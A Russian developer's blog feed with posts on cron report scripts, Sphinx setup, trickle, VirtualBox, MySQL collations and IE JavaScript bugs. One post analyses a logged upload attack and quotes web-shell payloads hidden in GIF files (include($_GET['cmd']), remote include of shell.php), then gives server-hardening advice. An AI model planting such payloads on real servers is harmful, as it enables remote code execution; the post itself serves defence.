заметки на полях

Упрощение отслеживания отработанных по крону скриптов

Дерябин Сергей — Thu, 06 Oct 2011 07:54:14 +0000

Пожалуй в любом более менее крупном проекте возникает необходимость выполнения заданий по крону, т. е. независимо от действий пользователей с определенной периодичностью. Совершенно определенно что результат выполнения скриптов необходимо отслеживать, что бы вовремя узнать о возникшей проблеме. Самый простой вариант, это генерация отчета о работе или ошибки в скрипте и отправке из крона на почту, как то так (из крона, а не из скрипта потому что fatal error на почту из скрипта не придет):

17 3 * * * www-data /usr/bin/php5-cgi /var/www/project/cron/user_rating.php 2>&1 | mail -s "Пересчет рейтинга пользователей" mail@example.com

В итоге на почту периодически будут сваливаться отчеты вида:

X-Powered-By: PHP/5.2.6-1+lenny13
Content-type: text/html

Начало: 2011-10-03 03:17.01

... сгенерированные данные о проделанной работе ...

Окончание: 2011-10-03 03:17.01

Все хорошо. Но иногда бывает что дергать такие скрипты необходимо часто (дабы избежать задержки), а вот что-то делать они будут далеко не всегда, т. е. попросту запускаться, смотреть что ничего делать не надо генерит пустой отчет и все. А вот когда этих скриптов становится много, то наступает такой момент когда только просмотреть отчеты на почте занимает неприлично много времени, потом это надоедает и отчеты просто не просматриваясь удаляются. Теряется смысл вообще всех этих отчетов.
Выход нашелся в следующем. При отсутствии действий в скрипте не генерировать пустой отчет, т. е. не выводить ничего, а по крону смотреть, что если в выхлопе только три строки:

X-Powered-By: PHP/5.2.6-1+lenny13
Content-type: text/html

то на почту ничего отправлять не надо.
Делаем скрипт /usr/bin/php_cron.sh:

#!/bin/sh

strtocut=3
# минимальная длина на всякий случай, может лишний перенос закрадется
minlen=10

line=1
while read INPUT; do
if [ $line -gt $strtocut ]; then
OUTPUT="${OUTPUT}\n${INPUT}"
fi
line=`expr $line + 1`
done

if [ `expr length "$OUTPUT"` -gt $minlen ]; then
echo -e $OUTPUT | mail -s"$2" $1
fi

даем ему права на выполнение

$ chmod +x /usr/bin/php_cron.sh

и изменяем задание в кроне следующим образом:

17 8 * * * www-data /usr/bin/php5-cgi /var/www/project/cron/paid_notifier.php 2>&1 | /usr/bin/php-cron.sh mail@example.com "Отправка уведомлений об окончании услуг"

Теперь на почту будут приходить только сообщения о проделанной работе, а о том что делать было нефиг нас не потревожат.

P/S С удовольствием приму вариант более элегантного решения.

Установка и настройка Sphinx на debian

Дерябин Сергей — Fri, 23 Sep 2011 12:14:04 +0000

Sphinx это мощнейший поисковый движок, очень быстрый, умеет работать с различными словарями и искать по словоформам. Ну и много чего еще.

Выбираем версию http://sphinxsearch.com/downloads/ (здесь речь пойдет о 2.0.1-beta)

$ tar xzvf sphinx-2.0.1-beta.tar.gz
$ cd sphinx-2.0.1-beta
# указываем что установить надо в /usr/local/sphinx и с поддержкой MySQL
$ ./configure --prefix=/usr/local/sphinx --with-mysql

Если после этого шага вываливается примерно такая ошибка:

checking MySQL libraries... configure: error: missing libraries.

******************************************************************************
ERROR: cannot find MySQL libraries.

Check that you do have MySQL libraries installed.
The package name is typically 'mysql-devel'.

If libraries are installed on your system, but you are still getting
this message, you should do one of the following:

1) either specify libraries location explicitly, using --with-mysql-libs;
2) or specify MySQL installation root location explicitly, using --with-mysql;
3) or make sure that the path to 'mysql_config' program is listed in
your PATH environment variable.

To disable MySQL support, use --without-mysql option.
******************************************************************************

Необходимо установить недостающую библиотеку libmysql++-dev и запустить процесс конфигурации еще раз

$ apt-get install libmysql++-dev
$ ./configure --prefix=/usr/local/sphinx --with-mysql

и продолжить в обычном режиме

$ make
$ make install

Готово, теперь sphinx необходимо настроить. Пример конфигурационного файла (более подробно можно посмотреть разумеется в документации):

# Базовые настройки источника данных - информация о подключении к БД
# Реальные источники данных будут от него наследоваться
# Я предпочел создать отдельного пользователя и дать ему права на чтение только на необходимые таблицы
source baseSource
{
type = mysql
sql_host = localhost
sql_user = sphinx
sql_pass = password
sql_db = basename

mysql_connect_flags = 32 # 32- включение сжатие при обмене данными с БД

# Включам нужную кодировку соединения и выключаем кеш запросов
sql_query_pre = SET NAMES utf8
sql_query_pre = SET SESSION query_cache_type=OFF
}

# описываем источник данных. Информация о подключении к БД берется из родителя
# здесь же описываем как выбирать данные
source forumPostSource : baseSource
{
# запрос для дробления получения топиков на неколько итераций
sql_query_range = SELECT MIN(id),MAX(id) FROM forum_post
# сколько получать объектов за итерацию
sql_range_step = 1000

# запрос на выборку данных
sql_query = SELECT fp.id, fp.theme_id, ft.category_id, ft.name AS theme_name, UNIX_TIMESTAMP(fp.created_time) AS created_time, fp.front_text FROM forum_post AS fp JOIN forum_theme AS ft ON (fp.theme_id = ft.id) \
WHERE fp.deleted = 0 AND ft.deleted = 0 AND fp.id >= $start AND fp.id <= $end

# описываем аттрибуты
sql_attr_timestamp = created_time
sql_attr_uint = theme_id
sql_attr_uint = category_id
}

# настройки хранения данных (индекса)
index forumPostIndex
{
source = forumPostSource
path = /usr/local/sphinx/var/data/forumPost
docinfo = extern

mlock = 0

# Используемые морфологические движки
morphology = stem_enru

# Кодировака данных из источника
charset_type = utf-8
charset_table = 0..9, A..Z->a..z, _, a..z, U+0401->U+0435, U+0451->U+0435, U+410..U+42F->U+430..U+44F, U+430..U+44F

# Из данных источника HTML-код нужно вырезать
html_strip = 1
}

# Настройки индексатора
indexer
{
mem_limit = 32M
}

# Настройка демона-поисковика
searchd
{
listen = 9306:mysql41
log = /usr/local/sphinx/var/log/searchd.log
query_log = /usr/local/sphinx/var/log/query.log
query_log_format = sphinxql
read_timeout = 5
max_children = 30
pid_file = /usr/local/sphinx/var/log/searchd.pid
max_matches = 100000
seamless_rotate = 1
preopen_indexes = 1
unlink_old = 1
workers = threads # for RT to work
}

Далее запустим индексатор для первоначального создания индекса

$ /usr/local/sphinx/bin/indexer -all

Теперь нам понадобится shell скрипт для запуска и остановки демона, что бы можно было его потом добавить в автозагрузку. Создаем скрипт:

$ vim /etc/init.d/sphinx

Вставляем код:

#! /bin/sh

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/sphinx/bin/searchd
NAME=sphinx
DESC=sphinx

#test -x $DAEMON || exit 0

case "$1" in
start)
echo -n "Starting $DESC: "
start-stop-daemon --start --quiet --pidfile /usr/local/sphinx/var/log/searchd.pid --exec $DAEMON -- -c /usr/local/sphinx/etc/sphinx.conf || true
echo "$NAME."
;;
stop)
echo -n "Stopping $DESC: "
start-stop-daemon --stop --quiet --pidfile /usr/local/sphinx/var/log/searchd.pid --exec $DAEMON || true
echo "$NAME."
;;
restart)
echo -n "Restarting $DESC: "
start-stop-daemon --stop --quiet --pidfile /usr/local/sphinx/var/log/searchd.pid --exec $DAEMON -- -c /usr/local/sphinx/etc/sphinx.conf || true
sleep 1
start-stop-daemon --start --quiet --pidfile /usr/local/sphinx/var/log/searchd.pid --exec $DAEMON -- -c /usr/local/sphinx/etc/sphinx.conf || true
echo "$NAME."
;;
*)
echo "Usage: $NAME {start|stop|restart}" >&2
exit 1
;;
esac

exit 0

Далее надо сделать его выполняемым и добавить в запуск при старте

$ chmod +x /etc/init.d/sphinx
$ update-rc.d sphinx defaults

Ну вот практически и все, осталось добавить перестроение поискового индекса по крону. В примере конфигурации добавлен один индекс – сообщения на форуме. Будем считать что индексов у нас будет много и разных. Перестраивать их необходимо так же с разным интервалом в зависимости от частоты изменения данных и размера данных. Поэтому создадим отдельный файл, куда будем складывает задания для sphinx

$ vim /etc/cron.d/sphinx

поместим пока единственную строку для переиндексации сообщений на форуме:

*/12 * * * * root /usr/local/sphinx/bin/indexer --rotate forumPostIndex > /dev/null 2>&1

и перезапустим планировщик задач

$ /etc/init.d/cron restart

Полезные ссылки

Самая главная ссылка: http://sphinxsearch.com/docs/current.html
Поиск по PDF, DOC, DOCX файлам с помощью Sphinx и PHP (огромный минус материала в использовании библиотеки Zend для чтения из исходных документов – pdf, doc, docx)
Создание собственной поисковой системы с помощью PHP (материал аж 2007 года, с того момента могло многое измениться)

Hacking часть III

Дерябин Сергей — Sun, 06 Mar 2011 11:31:07 +0000

Застал опять в логах наинтереснейшую историю, длилась которая без малого 2 часа. Где искали дырку – стандартно в загрузке файлов. Здесь необходимо оговориться, что файлы можно загружать разные, не только картинки, а к примеру pdf, zip, doc, xls и т. д. Попытки пронумерую (для удобства отсылки к уже поясненному материалу) и прокомментирую. Кстати, нечто подобное уже было (см. здесь), но не совсем то. И так, приступим!

1., 2. Первая и вторая попытка в 22:23, файл cmd.gif и images.gif (зачем два непонятно) следующего содержания:

GIF89aV , ...
include($_GET["cmd"]); ?>

Такое в принципе возможно, т. к. в изображение можно добавлять комментарии, в которые и можно вставить PHP код. Функция getimagesize при этом будет возвращать реальный размер картинки без ошибок. Но такая лазейка возможна только если на сервере файлы .gif передаются на обработку PHP. Некоторые вкорячивают обработку и для html, что то тоже моветон.

3. В 22:26 было решено попробовать в файле 123.php.jpg втупую впихнуть код:

include($_GET['cmd']); ?>

Такое вариант тоже может прокатить, но только при условии не внимательного конфигурирования обработки php, как то вот так

location ~ \.php

Допускаю что такое может придти в голову, если используются несколько разрешений, к примеру .php, php3, php5. Но вообще ИМХО такое уже давно не встречается.

4. В 22:38 (дальнейшее штудирование «хакинга для чайников» подсказало) решено объединить п. 1 и п. 3 опять же в gif cmd2.gif для конструкции

GIF89aV ,
include("http://внешний-URL/shell.php"); ?>

Данная конструкция нежизнеспособна, т. к. нежизнеспособен способ из п. 1, а если бы даже обработка изображений отдавалась на php, то в php.ini есть параметр, который по умолчанию выключен и включать его нет совершенно никакой необходимости:

;Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off

5. Следующая попытка в 22:43 с файлом cmd3.php.txt и содержимым:

include("http://внешний-url/shell.php"); ?>

не очень интересна, т. к. была заранее обречена на провал.

6. А вот здесь, через две минуты, уже пошел работать ум пытливого хакера, в подсознании всплывали обрывки мыслей про другие скрипты, JavaScript`ы. А что, вдруг в разметку легким взмахом клавиш можно таки встроить PHP. И так, слабонервных отойти от экрана – файл cmd4.php.txt:

А мужики то и не знают…

7. 22:52 333.php.jpg

include($_GET["cmd"]); ?>

8. 23:01 777.gif

if(isset($_GET['shell'])){
include('http://внешний-url/shell.php');
}
?>

Здесь даже комментировать нечего, просто .gif попытка url_include – epic fail

9. Три попытки xxx.gif, xxx1.gif и xxx2.gif – завернутый в 3 конструкции eval( gzinflate( base64_decode( так называемый r57shell web shell. Только вот как он должен был заработать, если не заработал предыдущий вариант – непонятно

10. И опять за старое – 23:55 qwe.gif

include($_GET['cmd']); ?>

11. 00:10 qqq.gif

GIF89aV ,
$brd = fopen('file.php','w+'); $write = fwrite($brd, $file); ?>

Здесь совершенно не понятно что собиралось писаться в файл, т. к. в настройках стоит register_globals = Off и конструкция вида qqq.gif?file=%3C%3Fphp+include%28%24_GET%5B%27cmd%27%5D%29%3B+%3F%3E не проканала бы

12. 00:12 zzz.gif

GIF89aV ,
echo "porn"; ?>

Из разряда дайте уже хоть что нибудь )))

13. Ну и последняя попытка 00:14 fff.gif

GIF89aV ,
include($_GET['cmd']); ?>

В качестве послесловия. Все мы люди и при написании кода забыть какую нить проверку при загрузке файла можно легко, поэтому надо отдельное внимание уделять настройкам сервера. Никаких register_globals = On, allow_url_include = On и т. д. Но самое главное, весь загружаемый контент не предназначен для выполнения, а только для отдачи. Поэтому обязательно, для всех директорий куда кладутся загружаемые файлы необходимо убирать обработку PHP, примерно вот так:

location ~ /upload/ { }

Ограничение канала для отдельных приложений

Дерябин Сергей — Sun, 09 Jan 2011 22:09:29 +0000

В один прекрасный момент может сложиться ситуация когда приложение непростительно отжирает весь канал, когда хотелось бы ограничить его небольшими ресурсами. У меня возникла такая проблема когда скрипт резервного копирования начинал перекладывать архивы с бэкапами на FTP. Т. к. FTP для бэкапов является локальным ресурсом и скорость подключения к нему большая, то и получалось что скрипт отжирал весь канал, в результате чего в логах на время копирования вываливались ошибки от nginx

8557#0: *8936853 upstream timed out (110: Connection timed out) while reading response header from upstream

а HostTracker начинал слать уведомления об ошибке доступа к ресурсу.

Решением явилось использование утилиты trickle

$ sudo apt-get install trickle

Можно использовать как демон (trickled), а можно независимо для приложений. Самые нужные в данный момент ключи, это trickle -d 512 -u 512 ... устанавливающие в данном случае скорость в 512 килобайт в секунду для входящего и исходящего трафика соответственно.

В результате вышеупомянутый скрипт резервного копирования поменялся только в одной строчке с

ftp -n $FTPHOST <<EOF

на

trickle -d 512 -u 512 ftp -n $FTPHOST <<EOF

Вот собственно первое что нагуглил по теме когда искал решение: Ограничение сетевого трафика для приложений и от этого уже пошел +

$ man trickle

Увеличение раздела жесткого диска виртуальной машины

Дерябин Сергей — Wed, 10 Nov 2010 07:45:46 +0000

Пошаговая инструкция с картинками как увеличить размер жесткого диска VirtualBox http://www.my-guides.net/en/content/view/122/26/

Клонирование жестого диска

Для использования нескольких виртуальных машин с одинаковыми дисками их необходимо клонировать, т.к. VirtaulBox присваивает дискам UUID и не даст работать с дисками при простом их копировании:

$ sudo VBoxManage clonehd image.vdi newimage.vdi

Установка VirtualBox Extension Pack в Debian

После обновления до версии 4.0.х для работы USB 2.0 и не только необходимо ставить VirtualBox Extension Pack. Скачиваем здесь сам пак и устанавливаем

$ sudo VBoxManage extpack install Oracle_VM_VirtualBox_Extension_Pack-4.0.6-71344.vbox-extpack

Настройка XP

Дерябин Сергей — Wed, 22 Sep 2010 07:28:07 +0000

Отключить надоедливые уведомления можно редактированием реестра в ветке

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SecurityCenter

AntiVirusDisableNotify – для отключения уведомлений про антивирус
FirewallDisableNotify – для отключения уведомлений насчет Firewall`а
UpdatesDisableNotify – забыть наконец-то про обновления

MySQL различные UTF – utf8_bin и utf8_general_ci

Дерябин Сергей — Wed, 19 May 2010 07:42:14 +0000

Чем же отличаются эти два collate для таблиц?
utf8_bin – использует сравнения по двоичным значениям каждого символа
utf8_general_ci – использует сравнения на основе языковых особенностей и игнорирует регистр символов.

Для наглядности приведем небольшой эксперимент.

CREATE TABLE peoples (
id INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY ,
first_name VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL ,
last_name VARCHAR( 255 ) CHARACTER SET utf8 COLLATE utf8_bin NOT NULL
) ENGINE = INNODB CHARACTER SET utf8;

INSERT INTO peoples (first_name, last_name) VALUES ('Петя', 'Иванов'), ('андрей', 'иванов'), ('Иван', 'Петров'), ('Андрей', 'Сидоров');
INSERT INTO peoples (first_name, last_name) VALUES ('Петр', 'Большой'), ('Пётр', 'Большои');

Получаем такую вот табличку:

Из-за разности сопоставления символов получаются различия в сортировке, если делать её по полю с utf8_general_ci получаем следующее:

И не совсем ожидаемым образом отрабатывает запрос с сортировкой по полю utf8_bin

Помимо всего прочего в utf8_general_ci некоторые буквы считаются идентичными, например ё = е:

mysql> SELECT * FROM peoples WHERE first_name='Петр';
+----+------------+----------------+
| id | first_name | last_name |
+----+------------+----------------+
| 5 | Петр | Большой |
| 6 | Пётр | Большои |
+----+------------+----------------+

Отсюда же может появиться и проблема с уникальными ключами. В приведенной структуре уникальный ключ по полю first_name создать не получится, т. к. дублируются значения «Андрей» и «андрей», а так же не совсем ожидаемые «Пётр» и «Петр».

mysql> CREATE UNIQUE INDEX uq_peoples_first_name ON peoples (first_name);
ERROR 1062 (23000): Duplicate entry 'Пётр' FOR KEY 3

Зато по полю last_name создастся без проблем, в нем все значения различающиеся:

mysql> CREATE UNIQUE INDEX uq_peoples_last_name ON peoples (last_name);
Query OK, 6 ROWS affected (0.06 sec)
Records: 6 Duplicates: 0 Warnings: 0

С проблемой уникальности я столкнулся при переводе старой таблички с пользователями из cp1251_general_ci в utf8_general_ci – логины «Ёлка» и «елка» перестали быть уникальными. Можно было создать эталонное поле utf8_bin (используемое только при авторизации) со значением приведенным к скажем нижнему регистру.

Ну и мануал: Unicode Character Sets

перебор options в Interner Explorer

Дерябин Сергей — Tue, 23 Mar 2010 20:39:48 +0000

При использовании цикла for(i in ...) для перебора элементов списка вида

<select name="city" id="city-list">
<option value="1">Москва</option>
<option value="2">Домодедово</option>
</select>

таким вот образом

var obj = document.getElementById("city-list");
for (i in obj.options) {
if (obj.options[i].value == ...) {
...
}
}

в ишаке получаем ошибку. Переваривается только такой вариант

var obj = document.getElementById("city-list");
for (i = 0; i < obj.options.length; i++) {
if (obj.options[i].value == ...) {
...
}
}

Неплохая статья на тему работы со списками: Javascript SELECT – динамические списки

Дэбианщики шутят )

Дерябин Сергей — Tue, 23 Mar 2010 15:46:23 +0000

Всякого, кто использует этот апплет, нужно отправлять на психиатрическое обследование.

YUI 2 Dom setAttribute в Interner Explorer

Дерябин Сергей — Mon, 22 Mar 2010 18:04:53 +0000

В YUI 2 метод YAHOO.util.Dom.setAttribute() не работает для элементов созданных посредством DOM во всех версиях Interner Explorer (от 6 до 8), например так будет ошибка:

var button = document.createElement("button");
YAHOO.util.Dom.setAttribute(button, "type", "button");

для задания необходимо пользоваться стандартными методами DOM:

var button = document.createElement("button");
button.setAttribute("type", "button");

Причем остальные методы кроме setAttribute отрабатывают нормально:

var button = document.createElement("button");
YAHOO.util.Dom.addClass(button, "ok-button");
YAHOO.util.Dom.setStyle(button, "margin", "1em");